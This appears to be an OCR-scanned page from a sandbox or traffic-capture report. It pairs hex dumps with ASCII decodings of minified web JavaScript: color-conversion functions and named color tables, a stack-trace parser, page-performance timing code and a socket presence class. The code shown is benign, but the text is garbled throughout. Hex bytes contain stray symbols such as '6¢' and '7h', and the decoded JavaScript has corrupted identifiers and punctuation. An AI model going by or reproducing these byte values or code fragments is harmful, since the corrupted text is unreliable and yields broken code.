726962 65 22 29 7d 7d 6f 28 79 2c 22 61 75 74 6f 73 69 7a 65 22 29 3b 63 6f 6e 73 74 20 53 3d 79 7d 2c 34 38 31 36
38 3a 28 48 2c 4f 2c 4d 29 3d 3e 7b 63 6f 6e 73 74 20 79 3d 4d 28 33 39 30 39 32 29 2c 53 3d 7b 7d 3b 66 6f 72 28 63 6f
6e 73 74 20 74 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 79 29 29 53 5b 79 5b 74 5d 5d 3d 74 3b 63 6f 6e 73 74 2
066 3d 7b 72 67 62 3a 7b 63 68 61 6e 6e 65 6¢ 73 3a 33 2c 6¢ 61 62 65 6¢ 73 3a 22 72 67 62 22 7d 2c 68 73 6¢ 3a 7b
63 68 61 6e 6e 65 6¢ 73 3a 33 2¢ 6¢ 61 62 65 6¢ 73 3a 22 68 73 6¢ 22 7d 2¢ 68 73 76 3a 7b 63 68 61 6e 6e 65 6¢ 73 3a
33 2c 6¢ 61 62 65 6¢ 73 3222 68 73 76 22 7d 2c 68 77 62 3a 7b 63 68 61

Data Ascii: eEventListener(“reset”,c)},"unsubscribe”)}}o(y, "autosize");const S=y},48168:(H,0,M)=>{const y=M(39092),S=
{};for(const t of Object.keys(y))S[y[t]]=t;const f={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channe
Is:3,labels:"hsv"},hwb:{cha

Data Raw: 69 31 36 3a 7b 63 68 61 6e 6e 65 6¢ 73 3a 31 2c 6¢ 61 62 65 6¢ 73 3a 5b 22 61 6e 73 69 31 36 22 5d 7d 2¢

61 6e 73 69 32 35 36 3a 7h 63 68 61 6e 6e 65 6¢ 73 3a 31 2c 6¢ 61 62 65 6¢ 73 3a 5b 22 61 6e 73 69 32 35 36 22 5d 7d
2c 68 63 67 3a 7b 63 68 61 6e 6e 65 6¢ 73 3a 33 2c 6¢ 61 62 65 6¢ 73 3a 5b 22 68 22 2¢ 22 63 22 2¢ 22 67 22 5d 7d 2¢ 6
17070 6¢ 65 3a 7b 63 68 61 6e 6e 65 6¢ 73 3a 33 2¢ 6¢ 61 62 65 6¢ 73 3a 5b 22 72 31 36 22 2¢ 22 67 31 36 22 2¢ 22
62 3136 22 5d 7d 2¢ 67 72 61 79 3a 7b 63 68 61 6e 6e 65 6¢ 73 3a 31 2c 6¢ 61 62 65 6¢ 73 3a 5b 22 67 72 61 79 22 5d
7d 7d 3b 48 2e 65 78 70 6f 72 74 73 3d 66 3b 66 6f 72 28 63 6f 6e 73 74 20 74 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79
7328 66 29 29 7b 69 66 28 21 28 22 63 68 61 6e 6e 65 6¢ 73 22 69 6e 20

Data Ascii: i16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:[*h","c","
g"]},apple:{channels:3,labels:['r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};H.exports=f;for(const t of Object.keys(f))
{if(!("channels"in

Data Raw: 4d 61 74 68 2e 6d 61 78 28 6e 2c 65 29 29 2c 5b 72 2c 61 2a 31 30 30 2c 65 2a 31 30 30 5d 7d 2c 66 2e 72
67 62 2e 63 6d 79 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 63 6f 6e 73 74 20 73 3d 74 5b 30 5d 2f 32 35 35 2c 6e 3d 74
5b 31 5d 2f 32 35 35 2¢ 65 3d 74 5b 32 5d 2f 32 35 35 2¢ 72 3d 4d 61 74 68 2e 6d 69 6e 28 31 2d 73 2c 31 2d 6e 2¢ 31
2d 6529 2c 61 3d 28 31 2d 73 2d 72 29 2f 28 31 2d 72 29 7c 7c 30 2c 75 3d 28 31 2d 6e 2d 72 29 2f 28 31 2d 7229 7c 7
€30 2c 6¢ 3d 28 31 2d 65 2d 72 29 2f 28 31 2d 72 29 7c 7c¢ 30 3b 72 65 74 75 72 6e 5b 61 2a 31 30 30 2c 75 2a 31 30 30
2c 6¢ 2a 31 30 30 2c 72 2a 31 30 30 5d 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 28 74 2¢ 73 29 7b 72 65 74 75 72 6e 28 74
5b 30 5d 2d 73 5b 30 5d 29 2a 2a 32 2b 28 74 5b 31 5d 2d 73 5b 31 5d

Data Ascii: Math.max(n,e)),[r,a*100,e*100]},f.rgb.cmyk=function(t){const s=t[0]/255,n=t[1]/255,e=t[2]/255,r=Math.min(1-s,1-
n,1-e),a=(1-s-r)/(1-r)||0,u=(1-n-r)/(1-r)||0,I=(1-e-r)/(1-r)||0;return[a*100,u*100,1*100,r*100]};function w(t,s){return(t[0]-s[
0])**2+(t[1]-s[1]

Data Raw: 5d 2f 31 30 30 2c 72 3d 6e 3b 63 6f 6e 73 74 20 61 3d 4d 61 74 68 2e 6d 61 78 28 65 2c 2e 30 31 29 3b 65 2a
3d 32 2c 6e 2a 3d 65 3c 3d 31 3f 65 3a 32 2d 65 2c 72 2a 3d 61 3c 3d 31 3f 61 3a 32 2d 61 3b 63 6f 6e 73 74 20 75 3d 28
65 2b 6e 29 2f 32 2c 6¢ 3d 65 3d 3d 3d 30 3f 32 2a 72 2f 28 61 2b 72 29 3a 32 2a 6e 2f 28 65 2b 6e 29 3b 72 65 74 75 72
6e 5b 73 2c 6¢ 2a 31 30 30 2c 75 2a 31 30 30 5d 7d 2c 66 2e 68 73 76 2e 72 67 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29
7b 63 6f 6e 73 74 20 73 3d 74 5b 30 5d 2f 36 30 2c 6e 3d 74 5b 31 5d 2f 31 30 30 3b 6¢ 65 74 20 65 3d 74 5b 32 5d 2f 31
3030 3b 63 6f 6e 73 74 20 72 3d 4d 61 74 68 2e 66 6¢ 6f 6f 72 28 73 29 25 36 2c 61 3d 73 2d 4d 61 74 68 2e 66 6¢ 6f 6f
72287329 2c 75 3d 32 35 35 2a 65 2a 28 31 2d 6e 29 2c 6¢

Data Ascii: ]/100,r=n;const a=Math.max(e,.01);e*=2 n*=e<=1?e:2-e,r*=a<=1?a:2-a;const u=(e+n)/2,|=e===0?2*r/(a+
r):2*n/(e+n);return[s,I*100,u*100]},f.hsv.rgb=function(t){const s=t[0]/60,n=t[1]/100;let e=t[2]/100;const r=Math.floor(s
)%6,a=s-Math.floor(s),u=255*e*(1-n),!

Data Raw: 31 33 30 38 3f 31 2e 30 35 35 2a 61 2a 2a 28 31 2f 32 2e 34 29 2d 2e 30 35 35 3a 61 2a 31 32 2e 39 32 2¢ 75
3d 75 3e 2e 30 30 33 31 33 30 38 3f 31 2e 30 35 35 2a 75 2a 2a 28 31 2f 32 2e 34 29 2d 2e 30 35 35 3a 75 2a 31 32 2e
3932 2c 72 3d 4d 61 74 68 2e 6d 69 6e 28 4d 61 74 68 2e 6d 61 78 28 30 2c 72 29 2¢ 31 29 2¢ 61 3d 4d 61 74 68 2e 6d
69 6e 28 4d 61 74 68 2e 6d 61 78 28 30 2¢ 61 29 2c 31 29 2c 75 3d 4d 61 74 68 2e 6d 69 6e 28 4d 61 74 68 2e 6d 61 78
2830 2c 75 29 2c 31 29 2¢ 5b 72 2a 32 35 35 2¢ 61 2a 32 35 35 2¢ 75 2a 32 35 35 5d 7d 2c 66 2e 78 79 7a 2e 6¢ 61 62
3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6¢ 65 74 20 73 3d 74 5b 30 5d 2c 6e 3d 74 5b 31 5d 2¢ 65 3d 74 5b 32 5d 3b 73
2f 3d 39 35 2e 30 34 37 2c 6e 2f 3d 31 30 30 2c 65 2f 3d 31 30 38 2e 38

Data Ascii: 1308?1.055*a**(1/2.4)-.055:a*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(
0,r),1),a=Math.min(Math.max(0,a),1),u=Math.min(Math.max(0,u),1),[r*255,a*255,u*255]},f.xyz.lab=function(t){let s=t[0],n=
t[1],e=t[2];s/=95.047,n/=100,e/=108.8

Data Raw: 61 74 68 2e 72 6f 75 6e 64 28 65 2f 32 35 35 2a 35 29 7d 2c 66 2e 61 6e 73 69 31 36 2e 72 67 62 3d 66 75 6e
63 74 69 6f 6e 28 74 29 7b 6¢ 65 74 20 73 3d 74 25 31 30 3b 69 66 28 73 3d 3d 3d 30 7c 7c 73 3d 3d 3d 37 29 72 65 74
75 72 6e 20 74 3e 35 30 26 26 28 73 2b 3d 33 2e 35 29 2¢ 73 3d 73 2f 31 30 2e 35 2a 32 35 35 2c 5b 73 2¢ 73 2¢ 73 5d
3b 63 6f 6e 73 74 20 6e 3d 28 7e 7e 28 74 3e 35 30 29 2b 31 29 2a 2e 35 2¢ 65 3d 28 73 26 31 29 2a 6e 2a 32 3535 2c 7
2 3d 28 73 3e 3e 31 26 31 29 2a 6e 2a 32 35 35 2c 61 3d 28 73 3e 3e 32 26 31 29 2a 6e 2a 32 3535 3b 72 65 74 75 72
6e 5b 65 2c 72 2c 61 5d 7d 2c 66 2e 61 6e 73 69 32 35 36 2e 72 67 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28
74 3e 3d 32 333229 7b 63 6f 6e 73 74 20 61 3d 28 74 2d 32 33 32 29 2a

Data Ascii: ath.round(e/255*5)},f.ansil6.rgb=function(t){let s=t%10;if(s===0||s===7)return t>50&&(s+=3.5),5=s/10.5*255,[
s,s,s];const n=(~~(t>50)+1)*.5,e=(s&1)*n*255,r=(s>>1&1)*n*255,a=(s>>2&1)*n*255;return[e,r,al},f.ansi256.rgh=function(t){
if(t>=232){const a=(t-232)*
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Data

Data Raw: 30 2¢ 30 2¢ 30 5d 2c 61 3d 73 25 31 2a 36 2c 75 3d 61 25 31 2c 6¢ 3d 31 2d 75 3b 6¢ 65 74 20 69 3d 30 3b 73
7769 74 63 68 28 4d 61 74 68 2e 66 6¢ 6f 6f 72 28 61 29 29 7b 63 61 73 65 20 30 3a 72 5b 30 5d 3d 31 2¢ 72 5b 31 5d
3d 75 2c 72 5b 32 5d 3d 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 72 5b 30 5d 3d 6¢ 2c 72 5b 31 5d 3d 31 2c 72 5b
32 5d 3d 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 5b 30 5d 3d 30 2¢ 72 5b 31 5d 3d 31 2c 72 5b 32 5d 3d 75 3b
62 72 65 61 6b 3b 63 61 73 65 20 33 3a 72 5b 30 5d 3d 30 2¢ 72 5b 31 5d 3d 6¢ 2¢ 72 5b 32 5d 3d 31 3b 62 72 65 61 6b
3b 63 61 73 65 20 34 3a 72 5b 30 5d 3d 75 2c 72 5b 31 5d 3d 30 2c 72 5b 32 5d 3d 31 3b 62 72 65 61 6b 3b 64 65 66 61
75 6¢ 74 3a 72 5b 30 5d 3d 31 2c 72 5b 31 5d 3d 30 2c 72 5b 32 5d 3d 6¢

Data Ascii: 0,0,0],a=s%1*6,u=a%1,I=1-u;let i=0;switch(Math.floor(a)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=I,r[1
1=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=I,r[2]=1;break;case 4:r[0]=u,r1]=0,r[2]=1;break;d
efault:r[0]=1,r[1]=0,r[2]=I

Data Raw: 74 75 72 6e 5b 28 74 5b 30 5d 2b 74 5b 31 5d 2b 74 5b 32 5d 29 2f 33 2f 32 35 35 2a 31 30 30 5d 7d 7d 2c 31
3230 38 35 3a 28 48 2c 4f 2c 4d 29 3d 3e 7b 63 6f 6e 73 74 20 79 3d 4d 28 34 38 31 36 38 29 2c 53 3d 4d 28 34 31 31
3129 2c 66 3d 7b 7d 2c 77 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 79 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 6e 29 7b
63 6f 6e 73 74 20 65 3d 6f 28 66 75 6e 63 74 69 6f 6e 28 2e 2e 2e 72 29 7b 63 6f 6e 73 74 20 61 3d 72 5b 30 5d 3b 72 65
7475 72 6e 20 61 3d 3d 6e 75 6¢ 6¢ 3f 61 3a 28 61 2e 6¢ 65 6e 67 74 68 3e 31 26 26 28 72 3d 61 29 2c 6e 28 722929 7
d2c 2277 7261 70 70 65 64 46 6e 22 29 3b 72 65 74 75 72 6e 22 63 6f 6e 76 65 72 73 69 6f 6 22 69 6e 20 6e 26 26 28
65 2e 63 6f 6e 76 65 72 73 69 6f 6e 3d 6e 2e 63 6f 6e 76 65 72 73

Data Ascii: turn[(t[0]+t[1]+t[2])/3/255*100]}},12085:(H,0,M)=>{const y=M(48168),S=M(4111),f={},w=0Object.keys(y);function
t(n){const e=o(function(...r){const a=r[0];return a==null?a:(a.length>1&&(r=a),n(r))},"wrappedFn");return"conversion"in n&&
(e.conversion=n.convers

Data Raw: 6e 3a 5b 30 2¢ 31 30 30 2c¢ 30 5d 2c 64 61 72 6b 67 72 65 79 3a 5b 31 36 39 2c 31 36 39 2c 31 36 39 5d 2c 64
6172 6b 6b 68 61 6b 69 3a 5b 31 38 39 2c 31 38 33 2c 31 30 37 5d 2c 64 61 72 6b 6d 61 67 65 6e 74 61 3a 5b 31 33 39
2c¢ 30 2c 31 33 39 5d 2c 64 61 72 6b 6f 6¢ 69 76 65 67 72 65 65 6e 3a 5b 38 35 2¢ 31 30 37 2c 34 37 5d 2c 64 61 72 6b 6f
72 61 6e 67 65 3a 5b 32 35 35 2c 31 34 30 2¢ 30 5d 2c 64 61 72 6b 6f 72 63 68 69 64 3a 5b 31 35 33 2¢ 35 30 2c 32 30
34 5d 2c 64 61 72 6b 72 65 64 3a 5b 31 33 39 2¢ 30 2¢ 30 5d 2¢ 64 61 72 6b 73 61 6¢ 6d 6f 6 3a 5b 32 33 33 2¢ 31353
02c3132325d2c 6461 726b 73656167 72 65 65 6e 3a 5b 31 34 33 2¢ 31 38 38 2¢ 31 34 33 5d 2c 64 61 72 6b 73 6¢C
61 74 65 62 6¢ 75 65 3a 5b 37 32 2¢ 36 31 2¢ 31 33 39 5d 2c 64 61

Data Ascii: n:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:
[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:
[143,188,143],darkslateblue:[72,61,139],da

Data Raw: 32 30 35 2c¢ 35 30 5d 2c 6¢ 69 6e 65 6e 3a 5b 32 35 30 2¢ 32 34 30 2c 32 33 30 5d 2c 6d 61 67 65 6e 74 61 3a
5b 32 35 35 2¢ 30 2¢ 32 35 35 5d 2¢ 6d 61 72 6f 6f 6e 3a 5b 31 32 38 2¢ 30 2¢ 30 5d 2c 6d 65 64 69 75 6d 61 71 75 61 6d
6172 69 6e 65 3a 5b 31 30 32 2c 32 30 35 2¢ 31 37 30 5d 2c 6d 65 64 69 75 6d 62 6¢ 75 65 3a 5b 30 2¢ 30 2¢ 32 30 35
5d 2c 6d 65 64 69 75 6d 6f 72 63 68 69 64 3a 5b 31 38 36 2¢c 38 35 2c 32 31 31 5d 2c 6d 65 64 69 75 6d 70 75 72 70 6C
65 3a 5b 31 34 37 2¢ 31 31 32 2¢ 32 31 39 5d 2c 6d 65 64 69 75 6d 73 65 61 67 72 65 65 6e 3a 5b 36 30 2¢ 31 37 39 2¢
31 31 33 5d 2c 6d 65 64 69 75 6d 73 6¢ 61 74 65 62 6¢ 75 65 3a 5b 31 32 33 2¢ 31 30 34 2c 32 33 38 5d 2c 6d 65 64 69
75 6d 73 70 72 69 6e 67 67 72 65 65 6e 3a 5b 30 2c 32 35 30 2¢ 31 35

Data Ascii: 205,50],linen:[250,240,230], magenta:[255,0,255],maroon:[128,0,0], mediumaguamarine:[102,205,170],me
diumblue:[0,0,205],mediumorchid:[186,85,211], mediumpurple:[147,112,219],mediumseagreen:[60,179,113], mediumslat
eblue:[123,104,238], mediumspringgreen:[0,250,15

Data Raw: 65 3a 5b 32 35 35 2c 32 35 35 2¢ 32 35 35 5d 2c 77 68 69 74 65 73 6d 6f 6b 65 3a 5b 32 34 35 2¢ 32 34 35 2¢
3234 35 5d 2c 79 65 6¢ 6¢ 6f 77 3a 5b 32 35 35 2¢ 32 35 35 2¢ 30 5d 2¢ 79 65 6¢ 6¢ 6f 77 67 72 65 65 6€ 3a 5b 31 35 34
2c¢ 3230 35 2c 35 30 5d 7d 7d 2c 34 31 31 31 3a 28 48 2c 4f 2c 4d 29 3d 3e 7b 63 6f 6e 73 74 20 79 3d 4d 28 34 38 31
36 3829 3b 66 75 6e 63 74 69 6f 6e 20 53 28 29 7b 63 6f 6e 73 74 20 73 3d 7b 7d 2c 6e 3d 4f 62 6a 65 63 74 2e 6b 65
79 73 28 79 29 3b 66 6f 72 28 6¢ 65 74 20 65 3d 6e 2e 6¢ 65 6e 67 74 68 2¢ 72 3d 30 3b 72 3¢ 65 3b 72 2b 2b 29 73 5b 6
e 5b 72 5d 5d 3d 7b 64 69 73 74 61 6e 63 65 3a 2d 31 2c 70 61 72 65 6e 74 3a 6e 75 6¢ 6¢ 7d 3b 72 65 74 75 72 6e 20
73 7d 6f 28 53 2c 22 62 75 69 6¢ 64 47 72 61 70 68 22 29 3b 66 75 6e

Data Ascii: e:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0] yellowgreen:[154,205,50]}},4111:(H,0,M)=>
{const y=M(48168);function S(){const s={},n=0Object.keys(y);for(let e=n.length,r=0;r<e;r++)s[n[r]]={distance:-1,parent
:null};return s}o(S,"buildGraph®);fun

Data Raw: 66 6f 72 28 76 61 72 20 52 3d 76 2e 6¢ 65 6e 67 74 68 2c 43 3d 6b 2e 6¢ 65 6e 67 74 68 2¢c 67 3d 76 2e 74 6f
4c 6f 77 65 72 43 61 73 65 28 29 2¢ 62 3d 6b 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 78 3d 69 28 6b 2c 78 29 2c 45
3d 30 3b 45 3¢ 52 3b 45 2b 2b 29 7b 54 5b 45 5d 3d 6e 65 77 20 41 72 72 61 79 28 43 29 2c 4c 5b 45 5d 3d 6e 65 77 20
4172726179 28 43 29 3b 66 6f 72 28 76 61 72 20 50 3d 79 2¢ 49 3d 45 3d 3d 3d 52 2d 31 3f 77 3a 74 2c 44 3d 30 3b
44 3c 43 3b 44 2b 2b 29 69 66 28 67 5b 45 5d 3d 3d 3d 62 5b 44 5d 29 7b 76 61 72 20 55 3d 79 3b 45 3f 44 26 26 28 55
3d 4d 61 74 68 2e 6d 61 78 28 4c 5b 45 2d 31 5d 5b 44 2d 31 5d 2b 78 5b 44 5d 2¢ 54 5b 45 2d 31 5d 5b 44 2d 31 5d 2b
7329 29 3a 55 3d 44 2a 66 2b 78 5b 44 5d 2¢ 54 5b 45 5d 5b 44 5d 3d

Data Ascii: for(var R=v.length,C=k.length,g=v.toLowerCase(),b=k.toLowerCase(),x=i(k,x),E=0;E<R;E++){T[E]=new A
rray(C),L[E]=new Array(C);for(var P=y,|I=E===R-1?w:t,D=0;D<C;D++)if(g[E]===b[D]){var U=y;E?D&&(U=Math.max(L[E-1]
[D-1]+x[D], T[E-1][D-1]+s)):U=D*f+x[D], T[E][D]=

Data Raw: 6f 6e 20 74 28 68 29 7b 76 61 72 20 64 3d 66 2e 65 78 65 63 28 68 29 3b 69 66 28 21 64 29 72 65 74 75 72
6e 20 6e 75 6¢ 6¢ 3b 76 61 72 20 70 3d 64 5b 32 5d 26 26 64 5b 32 5d 2e 69 6e 64 65 78 4f 66 28 22 6e 61 74 69 76 65
2229 3d 3d 3d 30 2c 76 3d 64 5b 32 5d 26 26 64 5b 32 5d 2e 69 6e 64 65 78 4f 66 28 22 65 76 61 6¢ 22 29 3d 3d 3d 30
2c 6b 3d 77 2e 65 78 65 63 28 64 5b 32 5d 29 3b 72 65 74 75 72 6e 20 76 26 26 6b 21 3d 6e 75 6¢ 6¢ 26 26 28 64 5b 32
5d 3d 6b 5b 31 5d 2c 64 5b 33 5d 3d 6b 5b 32 5d 2¢ 64 5b 34 5d 3d 6b 5b 33 5d 29 2¢ 7b 66 69 6c 65 3a 70 3f 6e 75 6¢
6c 3a 64 5b 32 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 64 5b 31 5d 7c 7c 79 2¢ 61 72 67 75 6d 65 6€ 74 73 3a 70 3f 5b
64 5b 32 5d 5d 3a 5b 5d 2c 6¢ 69 6e 65 4e 75 6d 62 65 72 3a 64 5b 33 5d 3f

Data Ascii: on t(h){var d=f.exec(h);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,v=d[2]&&d[2].indexOf("eval"
===0,k=w.exec(d[2]);return v&&k!=null&&(d[2]=k[1],d[3]=k[2],d[4]=k[3]) {file:p?null:d[2], methodName:d[1]||y,arguments:p?
[d[2]]:[].lineNumber:d[3]?

Data Raw: 64 5b 35 5d 3a 6e 75 6¢ 6¢ 7d 3a 6e 75 6¢ 6¢ 7d 6f 28 6¢ 2¢ 22 70 61 72 73 65 4a 53 43 22 29 3b 76 61 72 20
69 3d 2f 5e 5¢c 73 2a 61 74 20 28 3f 3a 28 28 3f 3a 5¢ 5b 6f 62 6a 65 63 74 20 6f 62 6a 65 63 74 5¢ 5d 29 3f 5b 5e 5¢ 5¢ 2f
5d 2b 28 3f 3a 20 5¢ 5b 61 73 20 5¢ 53 2b 5¢ 5d 29 3f 29 20 29 3f 5¢ 28 3f 28 2e 2a 3f 29 3a 28 5¢ 64 2b 29 28 3f 3a 3a
28 5¢ 64 2b 29 29 3f 5¢ 29 3f 5¢ 73 2a 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 76 61 72 20 64 3d 69 2e 65
78 65 63 28 68 29 3b 72 65 74 75 72 6e 20 64 3f 7b 66 69 6¢ 65 3a 64 5b 32 5d 2c 6d 65 74 68 6f 64 4e 61 6d 65 3a 64
5b 31 5d 7c 7c 79 2c 61 72 67 75 6d 65 6e 74 73 3a 5b 5d 2c 6¢ 69 6e 65 4e 75 6d 62 65 72 3a 2b 64 5b 33 5d 2c 63 6f
6¢c 75 6d 6e 3a 64 5b 34 5d 3f 2b 64 5b 34 5d 3a 6e 75 6¢ 6¢

Data Ascii: d[5]:null}:null}o(l,"parseJSC");var i=/"\s*at (?:((?:\[object object\])?["\V]+(?: \[as \S+\])?) )2\(?(.*?):(\d+)(?::(\d+))?
\)?\s*$/i;function c(h){var d=i.exec(h);return d?{file:d[2],methodName:d[1]||y,arguments:[],lineNumber:+d[3],column:d[4]?
+d[4]:null
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Data

Data Raw: 26 28 55 3d 49 2e 76 61 6¢ 75 65 2c 50 28 49 29 29 29 7d 7d 2c 22 66 22 29 2c¢ 75 3d 2d 31 2c 6¢ 3d 6f 28 66
75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6¢ 69 74 79 53 74 61
74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 3f 30 3a 31 2f 30 7d 2c 22 6d 22 29 2c 69 3d 6f 28 66 75 6e 63 74 69 6f 6e 28 29
7b 6e 28 66 75 6e 63 74 69 6f 6e 28 50 29 7b 76 61 72 20 49 3d 50 2e 74 69 6d 65 53 74 61 6d 70 3b 75 3d 49 7d 2c 21
30 29 7d 2c 22 64 22 29 2c 63 3d 6f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 3c 30 26 26 28 75 3d 6
€ 2829 2c 69 28 29 2c 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e
2829 7b 75 3d 6¢ 28 29 2¢ 69 28 29 7d 2c 30 29 7d 29 29 2¢ 7b 67

Data Ascii: &(U=l.value,P(1)))}},"f"),u=-1,I=0(function(){return document.visibilityState==="hidden"?0:1/0},"m"),i=o(function()
{n(function(P){var I=P.timeStamp;u=I},!0)},"d"),c=o(function(){return u<0&&(u=I(),i(),e(function(){setTimeout(function(){u=
10,i03.001).{9

Data Raw: 2¢ 22 45 22 29 2c 52 3d 6f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 53 3e 3d 30 26 26 53 3c 66 2d 54 29
7b 76 61 72 20 50 3d 7b 65 6e 74 72 79 54 79 70 65 3a 22 66 69 72 73 74 2d 69 6e 70 75 74 22 2c 6e 61 6d 65 3a 79 2e
74797065 2c 74 61 72 67 65 74 3a 79 2e 74 61 72 67 65 74 2c 63 61 6e 63 65 6¢ 61 62 6¢ 65 3a 79 2e 63 61 6e 63 65
6c 61 62 6¢ 65 2C 73 74 61 72 74 54 69 6d 65 3a 79 2e 74 69 6d 65 53 74 61 6d 70 2¢ 70 72 6f 63 65 73 73 69 6€ 67 53 7
46172743a79 2e 74 69 6d 6553 74 61 6d 70 2b 53 7d 3b 77 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 49
29 7b 49 28 50 29 7d 29 2¢ 77 3d 5b 5d 7d 7d 2c 22 53 22 29 2c 43 3d 6f 28 66 75 6e 63 74 69 6f 6e 28 50 29 7b 69 66
28 50 2e 63 61 6e 63 65 6¢ 61 62 6¢ 65 29 7b 76 61 72 20 49 3d 28 50

Data Ascii: ,"E"),R=0(function(){if(S>=0&&S<f-T){var P={entryType:"first-input”,name:y.type,target:y.target,cancelable:y
.cancelable,startTime:y.timeStamp,processingStart:y.timeStamp+S};w.forEach(function(I){I(P)}),w=[]}},"S"),C=o(function(P
Aif(P.cancelable){var I=(P

Data Raw: 6e 63 74 69 6f 6e 28 71 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 71 2c 42 2c 7b 6f 6e 63 65
3a21 30 2c 63 6170 74 75 72 65 3a 21 30 7d 29 7d 29 2c 6e 28 42 2c 21 30 29 2c 65 28 66 75 6e 63 74 69 6f 6e 28 71
29 7b 46 3d 74 28 22 4c 43 50 22 29 2c¢ 44 3d 61 28 50 2c 46 2¢ 49 29 2c 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f
6e 46 72 61 6d 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 2
866 75 6e 63 74 69 6f 6e 28 29 7b 46 2e 76 61 6¢ 75 65 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2d 71 2e
74 69 6d 6553 74 61 6d 70 2c 72 2e 61 64 64 28 46 29 2c 44 28 29 7d 29 7d 29 7d 29 7d 7d 2c 22 46 22 29 2c 45 3d 6f
28 66 75 6e 63 74 69 6f 6e 28 50 29 7b 76 61 72 20 49 2c 44 3d 74 28

Data Ascii: nction(g){addEventListener(q,B,{once:!0,capture:!0})}),n(B,!0),e(function(q){F=t("LCP"),D=a(P,F,l),requestAn
imationFrame(function(){requestAnimationFrame(function(){F.value=performance.now()-q.timeStamp,r.add(F),D()})}
)HIL"F"),E=o(function(P){var I,D=t(

Data Raw: 2e 6¢c 61 73 74 43 61 6d 65 4f 6e 6¢ 69 6e 65 3d 30 2c 74 68 69 73 2e 75 73 65 72 49 64 3d 72 28 6¢ 29 2c 74
68 69 73 2e 70 72 65 73 65 6e 63 65 49 64 3d 65 28 29 2c 74 68 69 73 2e 70 72 65 73 65 6e 63 65 4b 65 79 3d 28 30 2¢
79 2e 48 7729 28 74 68 69 73 2e 75 73 65 72 49 64 2c 74 68 69 73 2e 70 72 65 73 65 6e 63 65 49 64 29 2c 74 68 69 73
2e 73 6f 63 6b 65 74 3d 74 68 69 73 2e 63 6f 6e 6e 65 63 74 28 29 7d 73 75 62 73 63 72 69 62 65 28 6¢ 29 7b 63 6f 6 73
742069 3d 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 61 64 64 28 2e 2e 2e 6¢ 29 3b 74 68 69 73 2e 73
65 6e 64 53 75 62 73 63 72 69 62 65 28 69 29 3b 66 6f 72 28 63 6f 6e 73 74 20 63 20 6f 66 20 6¢ 29 7b 63 6f 6e 73 74 20
68 3d 63 2e 74 6f 70 69 63 2e 6e 61 6d 65 3b 21 28 30 2c 79 2e 41

Data Ascii: .lastCameOnline=0,this.userld=r(l),this.presenceld=e(),this.presenceKey=(0,y.Hw)(this.userld,this.presenceld
),this.socket=this.connect()}subscribe(l){const i=this.subscriptions.add(...I);this.sendSubscribe(i);for(const c of l){const h=c.t
opic.name;!(0,y.A

Data Raw: 3c 36 65 34 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 6e 65 63 74 69 6f 6e 43 6f 75 6e 74 3d 3d 3d 30
7c 7c 74 68 69 73 2e 69 6e 74 65 6e 74 69 6f 6e 61 6¢ 6¢ 79 44 69 73 63 6f 6e 6e 65 63 74 65 64 7c 7c 6¢ 3f 30 3a 31 30
2a31 65 33 7d 73 6f 63 6b 65 74 44 69 64 4f 70 65 6e 28 29 7b 74 68 69 73 2e 69 6e 74 65 6e 74 69 6f 6e 61 6C 6C 79
44 69 73 63 6f 6e 6e 65 63 74 65 64 3d 21 31 2c 74 68 69 73 2e 63 6f 6e 6e 65 63 74 69 6f 6e 43 6f 75 6e 74 2b 2b 2¢ 74
68 69 73 2e 73 6f 63 6b 65 74 2e 75 72 6¢ 3d 74 68 69 73 2e 67 65 74 55 72 6¢ 57 69 74 68 50 72 65 73 65 6e 63 65 49
64 28 29 2c 74 68 69 73 2e 73 65 6e 64 53 75 62 73 63 72 69 62 65 28 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f
